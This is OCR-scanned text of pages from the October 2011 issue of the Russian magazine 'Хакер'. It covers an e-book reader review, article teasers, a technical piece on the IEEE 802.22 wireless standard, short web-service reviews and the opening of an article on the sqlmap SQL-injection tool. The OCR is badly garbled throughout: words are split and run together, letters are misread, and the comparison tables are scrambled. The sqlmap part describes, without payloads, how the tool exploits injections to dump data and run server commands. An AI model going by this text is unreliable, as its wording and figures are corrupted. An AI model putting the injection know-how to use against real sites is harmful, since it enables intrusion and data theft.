FLAC и АСС. Конеч н о, музыки и видео было бы тес­

новато на в с троенной памяти 14 Гбl, но ее можно

расширить за с ч ет карточки micгoSD .

КНИГА С АКСЕЛЕРОМЕТРОМ Есть и менее за метны е, но в сё равн о п ол езные в

повседневн ой жизни фун кции. К ним мы от несли

ди ктофон, который нет-н ет да и при годится

однажды. Блокнот для различны х заметок,

календарь-ежедн евник, секундомер и, наконец,

калькулятор. В случае, если книги и фильмы

закончатся раньше, чем очередь, в которой вам

не пос ч астливилось с тоять, то на помощь придут

незамысловатые встроенные игрушки . Одна из

ни х- з на ком ы й всем

«САПЕР» Управле ни е книгой проще некуда : << ра бочий стол>>

предоставляет доступ сразу ко все м возможным

функциям , п озтому потерять что -то в глубинах

меню невозможно . Еще более комфортным

использование WEXLER.BOOK Т5002 делает

акселерометр , позволяющий автоматически

переворачи в атьизображениевнужнуюсторо н~

Сенсорный ди сплей довольно отзывчивый, но

куда удобнееуправлять устройством с помощью

идуще го в комплекте стилуса , чем пальцами.

Интерфейсов только два: mini-USB и вы ходдля

наушников .

ВЫВОДЫ WEXLER.BOOK Т5002 из разряда устройств, точную nринадлежность которы х к тому или иному

классу определить трудно. Ведь это и << читалка >>, и

аудио-, и видеоnлеер . Не считая, конечно, други х

полезныхфункций.Длягордогозвания • п олны й

фарш >> не хватаеттолько WiFi - модуля и открывал ­

ки для пи ва . Стоит отметить, что если главное для

вас-литература, а ос тальные функции нужны

гораздо реже, то лучше брать электронную книгу

на ос нове e- in k, так как от чтения с LСD-дисnлея глаза будутуставать намно го б ыстрее. Но если вы

ищете именно некий карма нны й мулыимедийный

<<комба йн >> по демократичной цене , то WEXLER. ВООКТ5002подойдеткакнельзялучше .

плюсы Низкая цена .

Цв етн ой се нсорный диспл ей.

Воспроизведени е видео множества форматов .

ХАКЕР 10/153/2011

Page 20: Хакер №10 (октябрь 2011)

Preview взлом

• КАКЗАКРЫВАЮТ БОТНЕТЫ

Есть ли у одной, пускай даже очень

большой, !Т-компании хотя бы один шанс

с правиться с задачей, которую не мо гут

решить правоохранительные органы и

спецслужбы разныхстран мира? Ботнеты

Waledac, Rustock, CoгeFiood и дальше продолжали бы рассылатьмиллионы

спам-сообщений иддосить ресурсы,

если бы их деятельности не помешали

сотрудники Microsoft. Интересно, чтодля зтогоиспользовалисьнетолькочисто

технические способы, но и юридиче-

ские уловки , о которых не могли знать

киберпреступники . Какудалосьполучить

доступ к управлению целыми ботнетами

и обезв!J.едить миллионы зараженных

машин, мы в подробностях рассказали в

зто м материале .

PCZONE

ЗD-СКАНЕРЗА$30

Кто бы мог подумать, что симбиоз лазер­

ной указки ивеб-камеры может помочь

создать3D-модельлюбого объекта?

Пробуем простой концепт в дейс твии .

MALWARE

• БАБЛОНАМАЛ ВАРИ

Как и сколько зарабатываютнаши

криминальные колеги? Впечатляющие

откровенияучастникачерного рынка о

том, как было и что стало.

ХАКЕР 10 /153/ 2011

31 страница журнала на одной полосе. Тизер нескольких стате й из это го номера .

взлом

• ОБХОД ГРУППОВЫХ ПОЛИТИК

Архитектурныепромашки при разработке

Wiпdоwsоставили немалолазеекдля

обхода групповых политик. 8 работающих способов- в зто м материале. • ТЫСЯЧА И ОДИН ИНКЛЮД

Рядовымиуязвимастями класса local/ гemote file iпclude мало кого удивишь. Но мы и не будем публиковать баян, имея на руках

несколько совершенно новых тем .

СЦЕНА UNIXOID

НОВАЯРУБРИКА--ИНТЕРВЬЮ

Один выпуск-один -видный человек из

!Т-тусовки. В этот раз мы заехали в ESET и взяли интервью у главного вирусного

аналитика-Александра Матросова.

11 ANDROID: ТОТАЛЬНОЕ ПОДЧИНЕНИЕ Рутинг, рекавери, мод, сайаноген .. . Огромное количество различных ха ков,

мода в и альтернативных прошивок-

в зто м большом MegaFAQ'e.

021

Page 21: Хакер №10 (октябрь 2011)

8 8 8

ite НОВЫЙ СТАНДАРТ БЕСПРОВОДНОЙСВЯЗИ

Зачем нужны новые стандарты

беспроводной связи, когда уже

есть Wi Fi, WiMAX и LТЕ?Хотя бы для того, чтобы обеспечить зону

покрытия радиусом до 100 км и передачу данных до 22 Мбит/с.

022

Официальныйсайт 802.22: www.ieee802 шт.

Статья основана на открытых рабочих документах IEEE 802.22 WG и обзор­ной публикации CaгlosCoгdeiгo, КiгanChallapali and Dagnachew Biггu " IEEE802.22: Ап lntгoduction to the Fiгst Wiгeless Standaгd based оп Cognitive Radios".

асе

IEEE802.22 В июле 2011 г. Международный институт инженеров по электротех­

нике и электронике llnstitute of Electrical and Electronics Engineers]

объявил о завершении работ над стандартом бесnроводной связи IEEE

802 .22, известным под именем "white space " l « npoбeл»]. Название не

случайно : для nередачи данных предполагается исnользовать << nро­

белы» в телевизионном ОВЧ/УВЧ-диапазоне 154-862 М Гц] частот. Этот подход стал возможен за счет изобретения <<умного>> радио-техно­

логиикогнитивнойрадиоnередачи,котораяобеспечиваетподстройку

nараметров приемопередающих устройств сети, так чтобы передача

данных не вылезала на «лицензионные» частоты . Как это nроисходит?

Система постоянно анализируетсnектр радиосигнала, окружающие

фоновыесигналы,атакжеповедениепользователейсети.Базовая

станция, собрав всю информацию о частотном диапазоне и исnользуя

информацию о своем месторасположении lno GPS], определяет, какие

частоты мо гут быть исnользованы для установления связи с пользова­

телямисети.Приуже установленнойсвязисистема n ериодическиска­

нирует частотный диапа зон на случай появления новых сигналов и при

обнаружении таковых с разу же перестраивается на другие частоты .

ХАКЕР 10 / 153/ 2011

Page 22: Хакер №10 (октябрь 2011)

Разработчики отмечают, что IEEE 802.22 WRAN является одной из пер­вых спецификаций, использующих в полной мере когнитивные техно­

логии в радиосвязи. Таким образом , стандарт позволяет эффективно

использовать имеющийся спектр рабочих частотбез необходимости

получения лицензий. В результате зто позволяет достичь скорости

передачи данных до 22 М бит/с и зону покрытия с радиусом до 100 к м!

ИСПОЛЬЗУЕМЫЕ ЧАСТОТЫ Новыйстандартбылспроектировандлябеспроводныхрегиональных

сетей [Wiгeless RegionaiAгea Netwoгk, WRANI. Это предполагаетпо­крытиезон радиусом в десятки километров . Спецификация позволит

провайдераминтерне~услугобеспечитьжителямсельскихрайонов

доступ к широкополосному доступу в Сеть там, где его еще нет. Увеличе­

ние радиуса действия удалосьдостичь благодаря уменьшению рабочих

частот, обычно используемых в Wi-Fi, WiMax или LТЕдля передачи ин­формации. Подбор оптимальных частот зависит от многих факторов . Для обеспечения наибольшей дальности с сохранением разумной мощности

и приемлемой полосы пропусканиялучшим образом подошли частоты

диапазона от54до862 М Гц, так называемыетелевизионные частоты.

Ширина полосы одноготелевизионного канала в США, Японии и большей

части Центральной и ЮжнойАмерики составляет6 М Гц, для России и

большинствадругихстран эта величина равна 8 М Гц , но встречаютсятак­

же стандарты с 7-м.егагерцовой полосой , например в Австралии, Бельгии

и Люксембурге . Позтому в802 . 22 предполагается использовать ширину

полосы одного канала в 6 [8,71 М Гц. Существующая системателевещания можетслужить примерам

успешного использования этогодиапазона для покрытия больших

площадей. Ктомужеданным частотам не страшны стены и препятствия.

Однако в использовании ОВЧ/УВЧ есть и недостаток: меньшие частоты

[длинные волны! нуждаются в более габаритныхантенных системах.

Кромеповсеместно используемыхсистем аналоговоготелевидения

NTSC [США, Канада, Япония!, PAL[Eвponal, SECAM [Франция, Гр еция, Россияlдиапазонофициальнозакреплензарадиосвязьюгосударствен­ных служб [полиции, противопожарной службы ит.д.l и коммерческих

сервисов [такси и т.д . l. В данной полосетакже работаютбеспроводные

микрофоны, системы цифровоготелевидения ATSC/DVB-T и богзнаеткто еще-важно, что никому из них нельзя мешать!

ТЕХНОЛОГИЯ «УМНОГО» РАДИО Для того чтобы умело и безобидно использовать «nробелы » в уже

используемых частотах, предусмотрен целый ряд когнитивных

механизмов .

Сканирование [seпsiпgl рабочего спектра частот позволяетобна­

руживать занятые каналы. Эта процедура nроходит в обязательн ом

nорядке nри инициализации сети . Также информация о частотах

nериодическиобновляетсяnриработесистемы.Уnравление

сканированием осуществляется базовой станцией, которая не

только nосылаетуnравляющие команды nользовательскому обо­

рудованию, но и сама производит разведку спектра и поиск новых

абонентов. Такая система позволяет актуально поддержать инфор­

мацию о состоянии эфира во всей зоне покрытия базовой станции и

своевременноконфигурировать сеть.

Регистрация и отслеживание nользовательского оборудования не­

обходимо для эффективной организации частотного пространства и

быстрого подключения новыхабонентов к сети.

Единаябазаданныхлицензионныхnользователейдиаnазонаизна­

чально предотвращаетработусети на постояннозанятых местными

службами или региональнымителевизионными каналами частотах.

Геолокация позволяетузнать регион размещения и по базе данных

оnределить, какие каналы заняты в конкретной местности, а также

выбратьоптимальный маршрут для nередачи nа кетов информации.

В рамках спецификации предnолагается nрименятьспутниковое или

наземное позиционирование. Для спутниковой геолокации у каждого

абонента будет расnоложено GРS-оборудование. Информация о

местоположении передается на базовую станцию по протоколуNМЕА

0183. Этотекстовый nротокол связи морских навигационных систем, повсеместно применяющийся в GPS.

ХАКЕР 10 / 153/2011

802.22: White Space

Механизм совместногососуществования [coexistencel систем под­разумеваеторганизацию спектра, так чтобы стандарт не вносил п о­

мехи в работу лицензионных nользователей, а также организовывал

внутрисистемноеранжированиеабонентовврабочейnолосе.

АНТЕННЫ Сеть предназначена какдля работы с nрофессиональными фиксиро­

ванными базовыми станциями, так и с портативными [либо фиксиро­

ванными! пользовательскимитерминалами [модемами! . Для охвата

больших площадей необходимы соответствующие мощности сигналов.

В спецификации nредполагается, чтодля nокрытия зоны с радиусом в

30 к м nотребуется мощность излучения в4 Вт. На базовой станциидля этих целей размещается ненаnравленная антенна, чтобы равномерно

пекрытьсигналом всю площадь. При необходимости изотропную антенну

можно заменить секторной. Такая конфигурация nозволитэффективнее

охватыватьзону с неравномерным расnределением абонентов по площа­

диилисосложнымразмещениемнесколькихбазовыхстанций.

Насторонеклиентанаnротивприменяетсяузконаправленнаяантен­

насориентированиемвсторонубазовойстанции[илибазовойстанциис

максимальным сигналом, если их несколько!. Кроме того, в клиентском

оборудовании имеется сканирующая [sensiпgl антеннадля функциони­рованиякогнитивныхмеханизмов.Прииспользованиисnутникового

nозиционирования также может быть размещена GРS-антенна .

Важно nонимать отличие стандарта IEEE 802.22 от других специфика­ций, в особенности от IEEE802.16 [WiMaxl, с которым его часто сравнива­ют. Основная разница в том, что802.22ориентирован на сельские мест­

ности и отдаленные регионы. Его радиус зоны покрытия в разы больше .

Кроме того, 802.22 является первым в мире стандартом, использующим когнитивные технологии для совместного использования оптимального

частотногодиапазонаинетребуетоформлениялицензийнаисnользова­

ниеоnределенныхчастот

АРХИТЕКТУРАСТАНДАРТА Наиболее важными требованиями со стороны разработчиков к стандарту

IEEE802.22 были гибкость и адаnтивность системы, nосколькуоборудо­ванию nриходится работать в сnектре елицензионными абонентами. В

итоге стандарт, оnисывающий РНУ- [Physicall и МАС-уровни [MediaAccess Contгoll модели 051 сети, получил особую архитектуру.

ФИЗИЧЕСКИЙУРОВЕНЬ Междубазовой станцией и пользовательским оборудованием на

физическом уровне организована двухсторонняя связь с временным

разделением [Time Division Duplexiпg, TDDI. В таком разделении

ИСТОРИЯ СТАНДАРТА

Спецификация 802 .22 nоявилась благодаря работам nрофессора Джозефа Ми толы 111, опубликовавшего результаты своих исследова­ний в 1999 г. совместно сДжеральдом Магуайром. Конце nция , назван­

ная nрофессором "cognitive гadio" [ << когнитивное радио>> !, nозволяет

системам связи исnользовать << занятые >> частоты для передачи своих

данных за счет имеющихся в n олосе <<nробелов». Однако закон за nр е­

щал работать с зарезервированными частотными диапазонами, либо

возможность nоявлялась nри nокуnке дорогостоящих лицензий. За­

конодательная база мешала nродвижению технологии. Лишь в 2004 г. Федеральное агентство по связи [Fedeгal Commuпications Commissionl США внесло поnравки , дающие возможность нелицензированным

абонентам исnользоватьлицензионные полосы nри условии, что те

не вносят nомех в работу законных nользователей. Это событие ини­

циировало nоявление в ноябре 2004 г. в << стенах» IEEE рабочей груnnы, которая стала вести разработку стандарта 802 .22 с когнитивной радиосвязью в качестве базовой технологии . Окончательный релиз

IEEE 802 .22-2011 nоявился лишь сnустя семь лет.

023

Page 23: Хакер №10 (октябрь 2011)

PCZONE

ХАКЕР 10/153/201 1

Page 24: Хакер №10 (октябрь 2011)

входные и выходные данные передаются на одной частоте, но в разные

промежутки времени. Если нужно изменить приоритет по скорости,

то нет ничего проще -достаточно продлить выделенное время для

одного потока данных и сократить для другого.

Кактранспортный механизм в 802.22 используетсятехнология муль­типлексирования с ортагональны м частотно-временны м разделением

каналов (Oгthogoпal Fгequency Divisioп Multiplexing, OFDMI. Аналогичная схема применяется в WiMax. Суть ее заключается в том, что некоторый по­токданных разделяется междунесколькими специальными частотами.

Каждый подпоток модулируется по своей схеме .

В спецификации предусмотренотри вида схем модуляции: ква­

дратурная фазовая манипуляция (Quadгatuгe Phase Shift Кеу, QPSКI, квадратурная амплитудная манипуляция порядка 16 и 64 (Quadгatuгe Amplitude Modulatioп, 16 QAM и 64QAMI . Схемы отличаются междусо­бой количеством информации, которую можно передать одним симво­

лом . Та или иная схема модуляции выбирается исходя из условий пере­

дачи. Чем выше скорость передачи, тем ниже ее надежность (тем выше

вероятность возникновения ошибки!. Поэтому если абонентсети ра с­

положен далеко от базовой стан ции и уровень сигнала во время связи

не очень высок, то лучше сменить схему модуляции, например с 16 QAM на более медленную, но зато стабильную QPSK. Система постоянно адаптируется, и для каждого пользователя проводится балансировка

оптимального режима между скоростью и помехоустойчивостью.

Важным для стандарта является особенностьОFDМ противостоять

многолучевому распространению. Данный эффект возникает при на­

личии каких-либо препятствий междубазовой станцией и абонентом .

Сигнал может испытать много отражений от разнообразных объектов.

Вконечномсчетекприемномуустройствуприходитнеодинсигна~а

несколько снекоторой задержкой, что можетпривести к межсимвольной

интерферен ции . Против зто го в OFDM применяютспециальную вставку, такназываемыйциклическийпрефикс.

Для более стабильной работы в 802.22 пр едусмотрено исполь­зование кодов, позволяющих корректировать ошибки. В том числе

коды Галлагера (Gallageг), которые на данный момент представляют

лучшее решение для п ередачи информации по каналу связи с шумами

в ограниченной полосе .

Дляорганизациидоступакканалусвязинесколькихабонентов

одновременно применяетсятехника частотно-временногоразделения

(Oгthogoпal Fгequeпcy Divisioп MultipleAccess, OFDMA). Этоуникальная технология, позволяющая использоватьдоступное частотное простран­

ство максимально выгодным способом . OFDMAyжe отлично себя за­

рекомендовала в таких стандартах, как WiMax и LTE. В механизме OFDM доступные специальные частоты делятся между пользователями сети.

Спектральная эффективность по стандарту может варьировать-

ся от 0,624 до 3,12 Бит/с/Гц . Эта величина характеризует скорость

передачи данных в заданной полосе частот. Чем выше значение,

тем большей пропускной способностью обладает система, однако с

ростом спектральной эффективности уменьшается помехозащищен­

ность. Для компенсации низкой пропускной способности канала при

минимальной спектральной эффективности используется методика

канального объединения !сhаппеl boпdiпg) . Суть методики заключа ­

етсявиспользованиидотрехтелевизионныхканаловодновременн~

чтобы за счет ширины полосы в 18 (21, 24) М Гц обеспечить приемлемую скоростьпередач и.

Для защиты лицензионных каналов необходимо выдерживать

частотный интервал, чтобы исключить возникновение п омех. Ширину

частотного интервала рекомендуют делать сопоставимой с ш ири ной

одного канала. Фактически необходимо иметь в ОВЧ/УВЧ-диапазоне

пробелы шириной оттрех каналов (один информационный плюсдва

защитных по бокам) и более. Это требование еще раз подчеркивает,

что целесообразно разворачивать IE EE 802.22 в сельской и малонасе­ленной местности, где эфир относительно свободен .

МАС-УРОВЕНЬ Уровень управления доступом к среде (Media Access Сопtгоl) ор га­

низует адресацию и контроль доступа к сети. МАС, основанный на

когнитивных технологиях, должен иметь очень динамичную и гибкую

ХАКЕР 10/153/2011

802.22: White Space

архитектуру, чтобы оперативно реагировать на изменения в сети.

Для обмена данными в 802 .22 используются суперфреймы (supeгfгame). Длительность одного суперфрейма составляет 160 м с. В начале каждого суперфрейма расположена специальная пре ам­

була (ргеаmЫе) и контрольный заголовок суперфрейма (supeгfгame

contгol headeг, далее- SCH). По каждому из доступных и отвечающих всем требованиям каналов базовая станция посылает суперфреймы.

Абоненты, находящиеся в зоне действия станции и е ще не подклю­

ченные к сети, <<слуш ают» свободные каналы на наличие суперф­

реймов . Получив данные, абонентское оборудование извлекает из

SCH всю необходимую информациюдля инициализации сетевого соединения . Каждый суперфрейм состоит из фреймов (fгame). Дли­

тельность одного фрейма составляет 1 О м с, соответственно в одном суперфрейме 16 фреймов. Фреймы являются непосредственными переносчиками данных.

Инициализация сети в 802.22 сложнее, чем в других беспроводных сетях.Всiусложняетсятем,чтонетизначальноопределенногоканала

связи. Таким образом, пользовательскому оборудованию сначала

необходимопросканироватьсеткучастотисоставитькартувсего

диапазона. Затем в свободных и подходящих пробелах искать SCH базовой станции. После того как SCH будет получен, модем абонен-та дает о себе знать базовой станции и остается в канале на время

действия суперфрейма. Если за это время модем получает ответ, то

происходит инициализация и подключение к сети. После установле­

ния соединения информация о состоянии каналов отправляется на

базовую станцию.

Как говорилось выше, во время работы в сети базовая станция

периодически посылает команды абонентскому оборудованию для

запуска сканирования диапазона на наличие лицензионных пользо­

вателей. П ри этом существуют различные алгоритмы сканирования,

которые о пределяют п ороговый уровень си гнала в канале, время

сканирования, диапаэон,вероятностьобнаруженияложнойтрево ги.

Существуют определенные пороговые значения сигналов, при кото­

рыхонибудутинтерпретироватьсякаклицензионныепольэователи .

Всеэтипараметрывлияютнауспешностьполучениядостоверной

частотной сетки в регионе . Базовая станция может распределять на­

грузку между абонентами при сканировании частотного спектра.

Если основная базовая станция долго <<молчит>>, то тогда абонент­

ское оборудование ищет маяки от другой соседней станции и в случае

успешного поиска п одключается к ней . Моделирование сети показа­

ла, что даже при большом скоплении рядом расположенных станций

терминалы абонентов быстро распределяются между ними . В резуль­

татенагрузканабазовыестанциистановитсяоптимальной.

ГЛАВНОЕ О СТАНДАРТЕ

Назначение: широкополосный беспроводной доступ к интернету

для сельской местности .

Ядро: технология когнитивной радиопередачи, предназначеннаядля

безлицензионногоиспользования частоттелевизионного диапазона.

Портативность: можно использовать в движении на скорости до

114 км/ч. Топология сети: многоточечная (Poiпt-to-Multipoiпt).

Радиусзоны покрытия: 10-100 к м (для фиксированной базовой станции и модема).

Мощность излучения: 4 Вт (под мощностью излучения понимается эффективная изотроп но излучаемая мощность, EIRP). Антенны : на базовой станции используется ненаправленная (либо

секторная) приемопередающая антенна, а на стороне абонента

направленнаяантенн~помимоэтог~естьненаправленнаяантенна

длясканированиячастотногодиапазона(когнитивнаярадиосвяз~ .

Геопозиционирование: GPS или наземное (необходимо для функ­ционирования системы!.

025

Page 25: Хакер №10 (октябрь 2011)

PCZONE

Описание Wi-Fi предназначен для замены Технология сотовой

проводных локальных сетей. По- связи, которую относят

следние ста ндарты по скорости к поколению 3G. UMTS ничуть н е уступают кабельным расшифровывается как

аналогам . В семействе 802.11 Univeгsa l MoЬi le Telecom-более двух десятков специфика- munication System. ций. Wi-Fi расшифровывается как Wi гeless Fidelity ! « Беспроводная точ ность» ! .

Применение Сейчас Wi-Fi-устройства встроены UMTS является самой во мно гие мобил ьн ые ком п ьютеры. популярной техноло гией

Ста нда рт стал л идером де- мобильны х ЗG -сетей.

фа кто в передаче да нных между Существуют дополни-

перен ос ными устройствами и для тельные надстройки над

выхода в интер н ет. В результате UMTS, позволяющие уве-

точки доступ а в о громном личить скорость обмена

количестве покрывают районы данными: HSPA, HSPA+, крупн ых городо в мира. HSDPA. Такие сети отно-

сят к 3.5G- поколению.

Мобильность Н ет Н ет Да

Дальность 38-140 м 70- 250 м 5 к м

Частоты 2,4 ГГц 2,4и5 Г Гц 1885-2025 М Гц

2110-2200 М Гц

Максимальная 54 Мбит/с 600 Мбит/с 2 Мбит/с скорость

передачи данных

Ширина канала 20 М Гц 20- 40 МГц 5 М Гц

Дуплекс TDD TDD FDD

Доступ CSMA!CA OFD MA W-CDMA

MIMO Да Да Нет

Год выпуска 2003 2009 2001

БЫТЬ ИЛЬ НЕ БЫТЬ? IEEE 802.22, п оя в ивш ийся с равн и тель н о н едав н о, п ри н ес с собой

но в ые меха н измы, кото р ые могут п оз в ол ить донести качестве н ную

с вяз ьдаже в самые отд ал ен н ые у гол ки пл а н е ты . Уникал ьн ый п од­

ход к р е ш е н ию в о проса о деле н ии частотно го д иа п азона, который в

России стоит ос т ро, может сдел ат ь 802 .22 самым рас простра н енным

с т а ндартом бес проводн ой связи для п ок ры тия бол ьш их площадей.

Для это го пр име н яютс я рассмотренн ы е в с т ат ье частное ска н ирова­

н ие рабоч е го диа пазо н а, постоя н ный мо н и торин г и отслеживание

026

Технология широкопо- Техноло гия является 802.22 являет-лосной связи ; которую от- развитием линейки ся беспроводной

носят к сетям 3.9G. WiMax CDMA-UMST -стандартов. технологией, которая

является динамично раз- Последовательность в предназна че на для

вивающейся во всем мире развитии nозволяет тех- организации широко-

техноло гией . Аббревиатура нологии легко ада птиро- П ОЛОС НОГО достуnа К

расшифровывается как ваться на существующих интернету в мало на-

Woгldwide lnteгopeгaЬi li ty UМТS- сетях. L ТЕ относят селенной местности

fог Micгowave Access к сетям 3. 9G-поколения. и сельских районах .

!«Международное взаимо- L ТЕ - Long Time Базовые станции

дей ствие для микроволно- Evolution I «Долговремен- способны покрывать

вого достуnа>>!. ное развитие>>!. большие площади с

использованием ког-

нитивных технологий.

WiMax можно назвать Сети L ТЕ активно разви- С пецификация появи-

аналогом Wi-Fi, но в ваются . Успешный проект л ась недавно, позтому

масштабах города IWMANI . реализован в Осло !Шве- н а данный момент нет

Стандарт сп особен вы - ция l . Круп нейшие сото- раз вернутых сетей.

ступать как ал ьтернатива вые операторы совместно

DSL-соединению. Н а базе со <<Скартел >> IYotal в с пецификации реализуют- ближайшем времени

ся системы, соединяющие планируют развернуть по

локальные сети, например всей России сеть L ТЕ на на ос н ове Wi-Fi. замену ныне существую-

щи м технологиям.

Нет !но существуют Да Н ет

мобильные спецификации!

4- 6 км 5- 100 км 30-100 км

' . --2-11 ГГц 700-4000 м гц 54-862 М Гц

75 Мбит/с 173 Мбит/с 23 Мбит/с

1,25-20 МГц 1,4- 20 МГц 6-24 М Гц

FDD/TDD FDD/ТDD TDD

OFDMA OFDMA/SC-FD MA OFDMA

Да Да Да

2004 2009 2011

изме н ений, а также п ро цедура со в местн ого ис п о л ьзова н ия спектра

с лицензион н ыми п ользовател ями. Как з н ать, возмож н о, име н но эт о

реше н ие поз в ол и т п окрыть необъятн ые п роста р ы на ш ей род ин ы

качественным интер н етом . Даже если стандарт н е п олучит должной

поддержки, то в любом случае с е г о выходом появи л ся новый п од­

ход, когда разные уст р ойства разных ста ндар то в не фун к цио н ируют

обособл ен н о, а взаимодействуют между собой и ор ганизо вывают

окружающее п ространство для вы год но г о совместн ого испол ьзова­

ния . И это своего рода про ры в. :х:

ХАКЕР 10 /153/2011

б s

"' ~ ~ n>

"' s

~ :0

~

~ Q s u CL

"' "' ~ " о с:

Page 26: Хакер №10 (октябрь 2011)

Для шифрования сообщений в любых сервисах

BTDIGG ~

ENCIPHER.IT ~ Название зто го сервиса la вернее, даже доменного имени! говорит само за себя: он по­

зволяет шифровать сообщения в любом сервисе: Gmail, Facebook и любом другом. Как зто

работает? На панель закладокдобавляется специальный букмарк, который вызывает

простенькую функцию на JavaScгipt, которая криптует выбранный текст с помощью AES 256.

Перед шифрованием у пользователя запрашивается па рольная фраз а , которая далее будет

использоваться дл я рас шифровки . П олучается гениально удобная система, если нужно

зашифровать текст, на п ример, в письме Gmail . П росто выбираем тело сообщения, нажим а­

ем на букмарк-и текст автоматически меняется на зашифрован н ый. Если же тебе самому

пришла закриптованная месса га, то опять же просто вызываем букмарк, вводим па роль- и

получаемтекстеоткрытом виде .

Есть немало сервисов-агрегаторов, которые индексируютторренты с самых разныхтрекеров и

предоставляютудобный поиск по ним . BTDiggтoжe позволяетнайти нужный файл в ВitТоггеnt­

сети, но использует в корне другой подход . Это поисковик по DНТ-сетиl Напомню, что последняя

nозволяет ор ганизовывать раздачи в ВitТогегеnt-сети безтрекера вовсе. П о сут и, это расnреде­

ленная сетьторрент-клиентов, которая хранитидентификаторы lхеш иl всех публичных раздач -т. н . mаgnеt-линков, представляющихсобой 160-битное случайное число. BTDigg ежедневно

индексируетDНТ-сеть и позволяетпроводить поиск по мета- информации, содержащейся в

любом торррент-файле . Можнодаже исnользовать ключевые словадля поиска : raname !поиск

по имени файла!, racontent !поиск по содержанию! .

BTDIGGDHT

Для запуска кода на разных язы ках прямо в браузере

> ... ideone.com IDEONE ---···- jdeone corn -·- --."__ ____ ------------ - ------- -.,.,......----.... --.. ...-.... - .-;

Разстолкнувшисьснеобходимостьюскомпилироватьвби нарникпростенькийкод,

...,..... _ о--о

8 1!.-Оа .

_,_,__ ...... - ·· - ·· --·-·

·~·"'· _ x-.,..!OI!oo!

Поиск торрентов поDНТ сети

. · "J ,l • я н адолго запом н ил п роект ideone, который ме н я то гда выручил. П о сути, это о нлайн­

ком п илятор и отладчик для более чем 40 языков n ро граммирования . Дру гими словами,

можно набросать код и запустить его прямо в браузере. Поддерживаются С/С++, Java, С#,

AssemЫeг, Objective С , все скри птовые языки lв том числе Pythonl и даже ассемблер . Важно

только уложиться в ограничения : 1 О секунд на компиляцию, 15 секунд !если не зарегистри­

роваться, то только 51 на выполнение, 256 Мб nамяти . Помимо зто го , программа не сможет

обращаться в Сеть и работать с файлами . П роект предоставляеттакже API, которые активно

исп ользуютсейчас п риложениядля раз ны хмобильных nл атформ .

(y~~~~mEP Наконе ц-то я нашел ту систему для монитори н га хостов , которая меня п ол ностью ус траива­

ет. Я говорю о бес платном сервисе tagBeep. Суть сервиса понятная - п роверять работос п о­

собность веб-серверов и уведомлять о наличии проблем . TagBeep построен nредельно про­

сто, но при этом позволяетзадать тонкие параметры для nроцедуры п роверки . Например,

можно детально указать, какой именно ответ должен отдавать сервер, а какой- не должен .

Или, к nримеру, задать времен ной лимит на загрузку страни цы !скажем, 10 секунд!. TagBeep

умеетвизуал изироватьвремяоткликаввидекрасивыхграфико~сохраняетскриншоты

с воих роботов lв любой моме н т можн о посмотрет ь , как выгл ядел сайт l . АSМS-оповеще н ия,

та услу га, за которую все обязательно берут денежки, здесь пока бесплатна.

ХАКЕР 10 /153/2011

tagBeep .... - ·-· ......

Uptime monitoring for smart people Slmplto 10 uя and frН: fOf up to SO S4.'Mrs.

·- ' ... ._ IIJ .

--­...,_ __ , _ __ tu: ___ _

__ us.o. ___ _

Суперпростой и удобный мониторинг хостов

-Stgn Up for f reel ---......

027

Page 27: Хакер №10 (октябрь 2011)

PCZONE Мирослав Штамnар [miгoslav.stampar0gmai l .com l

S lmap, или S L:-инъекции это просто

ОДНА ИЗ ЛУЧШИХ УТИЛИТ ДЛЯ ПОИСКА И ЭКСПЛУАТАЦИИ SQL-УЯЗВИМОСТЕЙ

Разработкой сканера занимаются два человека. Мирослав Штамnар (lilstampaгml, nрофессиональный разработчик софта из Хорватии, и Бернар­А• Дам•ле [lilinquisЬJ, консультант по ИБ из Италии, сейчас nроживающий и работающий в Великобритании . nроект nоявился на свет в 2006 г. благодаря Данмзлю Беллучи [lilbelch), но по-настоящему стремительно стал развивать­ся nосле того, как в 2009 г. в работу включили сь Мирослав и Бернарда.

Links Securily art Fractal Explorer

vlew plctures of the artlst

comment on thls artlst

About Us Privacy Pollcy Contact Us

UNION querySQL injection

828

так, что такое sq lmap? Одна из мощнейш их открыты хутилит

дл я п ентестера,котораяа втоматизируетп роцесс п оискаи

экс плуатации SQL- инъек ций с цел ью извлече н ия данн ых или

зах в ата уда л енн ого хоста. Что делает sqlmap отл ич н ым от дру г их утилит

дл я об наруже н и я SQ L-и нъек ций , так это возможность экс плуатировать

каждую найде нную уя з вимость . Это оз н а ч ает, ч то sq lmap способен не

только н аходи т ь «дырку>>, но еще и заюзать ее п о п олной п ро грамме. А

коль уж в ка ч еств е задачи с та ви тс я именн о экс плуатация уязви мости ,

то ска н еру п р и ходи тс я быть особенн о в нимател ьным к деталям: он н е

будет выдавать м илл ио н ложных с рабатыва н ий <<так, на в с я кий сл уч ай>>

! как это м ы в идим во м н о г их дру гих пр и л ожен иях]. Л юбая поте нциаль ­

на я уя з вимостьдо п олн ительн о п ро вер я етсяна возможно стьэксплуа­

та ции . Ска н е р и з коробки идете о гром ны м функцио налом, начи ная от

возможности о п редел ения систем ы упра вл е н и я базой да нны х !далее DB MS], созда н ия дам п а ! ко п и и] данн ых и зака нч ивая п ол уч е н ием до­

с ту п а к с и стеме с возможностью обращать ся к пр о извольны м файлам

н а хае те и выполн я ть н а се р вере п роизволь н ы е кома нды. И все-таки

гл а вн ое- это об н а руже н ие возможност и сдел ат ь инъекцию SQ L- кoдa .

КАКИЕУЯЗВИМОСТИ МОЖЕТНАХОДИТЬSQLМАР? Есть п ять осно вн ых классо в SQ L- и нъек ци й, и все их п одде ржи вает

sql map: UNION querySQL injection. Классический вариа нт вн едре ния

SQ L-кoдa, ко гд а в уязв и м ы й пара м ет р передается в ы раже ни е,

н а ч и н ающееся с «UNION ALL SECECT>>. Э та техника работает, ко гда веб - прил оже н и я на прямую воз в ращают резул ьта т выв ода

кома нды SELECT н а страницу: с ис п ользо ванием цикл а fог или п о ­

хожим способом, так ч то каждая запись п ол у ч е нн ой и з БД в ы бо р к и

п ос л едо в а те л ь н о вы водитс я на с т ра ницу. Sqlmap м ожет также экс­

плуат и роват ь ситуацию, ко гд а в оз вр а щается то л ько п ервая за пи с ь

из вы бо р к и IPaгtial UNION q u e гy SQL i пjectio п ].

Еггог-Ьаsеd SQL injection. В с лучае этой а таки ска нер заменяет

ил и добавл яет в у я з ви м ый парамет р с и н такс ич еск и н е пр а вильн ое

выражен и е, п ос л е ч е го п а р с ит НТТР- отв ет !за гол о вки и те л о] в п о­

